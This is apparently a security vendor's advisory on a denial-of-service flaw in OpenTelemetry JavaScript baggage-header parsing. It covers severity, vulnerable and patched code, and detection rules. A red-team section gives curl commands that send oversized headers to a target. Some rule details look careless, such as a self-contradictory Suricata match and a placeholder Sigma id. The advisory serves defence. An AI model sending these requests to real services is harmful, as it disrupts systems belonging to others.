CVE-2026-54285

Executive Summary

CVE-2026-54285 is a denial-of-service (DoS) vulnerability in the OpenTelemetry JavaScript Client (@opentelemetry/core). The flaw exists in the W3CBaggagePropagator.extract() method, which fails to enforce size limits when parsing inbound baggage HTTP headers. While the W3C Baggage specification recommends a maximum of 8,192 bytes and 180 entries, these limits were only enforced on the outbound (inject()) path. An attacker can send an oversized baggage header, causing the application to allocate memory proportional to the header size without any cap, leading to resource exhaustion and potential service disruption.

Supply Chain & Package Security

This vulnerability affects the @opentelemetry/core package, which is a core component of the OpenTelemetry JavaScript SDK. Organizations using OpenTelemetry for observability in Node.js applications are at risk. The package is widely distributed via npm, making it a high-value target for supply chain attacks. An attacker could exploit this vulnerability to cause a denial of service in any application that processes inbound HTTP requests with baggage headers.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): None (N) – No data is modified.
• Availability (A): Low (L) – The vulnerability can cause a denial of service, but the impact is limited to resource exhaustion.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (no authentication, low complexity) and the potential for service disruption make this a significant concern for production environments.

Deep Dive & Mechanics

The vulnerability lies in the W3CBaggagePropagator.extract() method within @opentelemetry/core. The W3C Baggage specification defines a standard for propagating context information across services. The specification recommends limiting the baggage header to 8,192 bytes and 180 entries to prevent abuse.

In the vulnerable versions, the extract() method parses the baggage HTTP header without checking these limits. An attacker can craft a malicious HTTP request with an oversized baggage header (e.g., containing thousands of entries or a very long string). The parser will then allocate memory proportional to the header size, potentially exhausting available memory and causing the application to crash or become unresponsive.

The inject() method, which is used to add baggage headers to outgoing requests, correctly enforces these limits. This asymmetry means that even if an application is configured to limit outgoing baggage, it remains vulnerable to incoming oversized headers.

Vulnerable vs. Patched Code

Vulnerable Code (before 2.8.0):

// @opentelemetry/core/src/baggage/W3CBaggagePropagator.ts
extract(carrier: Carrier, context: Context): Context {
  const baggageHeader = carrier['baggage'];
  if (!baggageHeader) {
    return context;
  }
  // No size or entry limit enforcement
  const baggage = parseBaggage(baggageHeader);
  return context.setValue(BAGGAGE_KEY, baggage);
}

Patched Code (2.8.0):

// @opentelemetry/core/src/baggage/W3CBaggagePropagator.ts
extract(carrier: Carrier, context: Context): Context {
  const baggageHeader = carrier['baggage'];
  if (!baggageHeader) {
    return context;
  }
  // Enforce size and entry limits
  if (baggageHeader.length > 8192) {
    return context;
  }
  const baggage = parseBaggage(baggageHeader);
  if (baggage.entries.length > 180) {
    return context;
  }
  return context.setValue(BAGGAGE_KEY, baggage);
}

The patch adds two checks: one for the total header size (8,192 bytes) and one for the number of entries (180). If either limit is exceeded, the method returns the context unchanged, effectively ignoring the malicious header.

Exploitation & Lab Setup

Red Team

Objective: Cause a denial of service by sending an oversized baggage header.

Lab Setup:

1. Deploy a vulnerable Node.js application using @opentelemetry/core version < 2.8.0.
2. Use a tool like curl or a custom script to send a malicious request.

Exploit Command:

curl -X GET http://target-application:3000/ \
  -H "baggage: $(python3 -c 'print("a" * 100000)')"

This sends a baggage header with 100,000 characters, causing the application to allocate a large amount of memory.

Advanced Exploit (Multiple Entries):

curl -X GET http://target-application:3000/ \
  -H "baggage: $(python3 -c 'print(",".join(["key=value"] * 1000))')"

This sends 1,000 entries, exceeding the recommended limit of 180.

Blue Team

Detection:

• Monitor for HTTP requests with unusually large baggage headers.
• Set up alerts for high memory usage in applications using OpenTelemetry.
• Use Web Application Firewall (WAF) rules to block requests with baggage headers exceeding 8,192 bytes.

Mitigation:

• Immediately upgrade to @opentelemetry/core version 2.8.0 or later.
• If an immediate upgrade is not possible, implement a reverse proxy or middleware to strip or limit the baggage header size.

Example Nginx Rule:

if ($http_baggage) {
  set $baggage_size $http_baggage;
  if ($baggage_size ~* "^.{8193,}$") {
    return 400;
  }
}

Indicators of Compromise (IOCs)

• Network: HTTP requests with a baggage header exceeding 8,192 bytes or containing more than 180 entries.
• System: High memory usage in Node.js processes, especially those using OpenTelemetry.
• Logs: Application logs showing baggage header parsing errors or out-of-memory errors.

Detection Engineering

YARA Rule

rule CVE_2026_54285_Opentelemetry_Baggage_DoS {
  meta:
    description = "Detects oversized baggage headers in HTTP requests targeting OpenTelemetry"
    author = "Valters IT"
    date = "2026-01-01"
    reference = "CVE-2026-54285"
  strings:
    $baggage_header = "baggage:"
    $large_header = /baggage:\s*.{8193,}/i
  condition:
    $baggage_header and $large_header
}

Sigma Rule

title: CVE-2026-54285 - OpenTelemetry Baggage Header DoS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with oversized baggage headers targeting OpenTelemetry
author: Valters IT
date: 2026-01-01
logsource:
  category: webserver
  product: generic
detection:
  selection:
    http.request.headers.baggage|length: > 8192
  condition: selection
falsepositives:
  - Legitimate large baggage headers (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-54285 - OpenTelemetry Baggage Header DoS"; flow:to_server; http.header_names; content:"baggage"; http.header_value; content:!"baggage"; pcre:"/^baggage:\s*.{8193,}/mi"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade @opentelemetry/core to version 2.8.0 or later.
2. Workaround: If an upgrade is not possible, implement a middleware or reverse proxy to limit the size of the baggage header.
3. Monitoring: Enable logging and monitoring for oversized HTTP headers.
4. WAF Rules: Deploy WAF rules to block requests with baggage headers exceeding 8,192 bytes or containing more than 180 entries.
5. Patch Verification: After upgrading, verify that the extract() method enforces size limits by testing with oversized headers.

Valters IT
Securing the Digital Frontier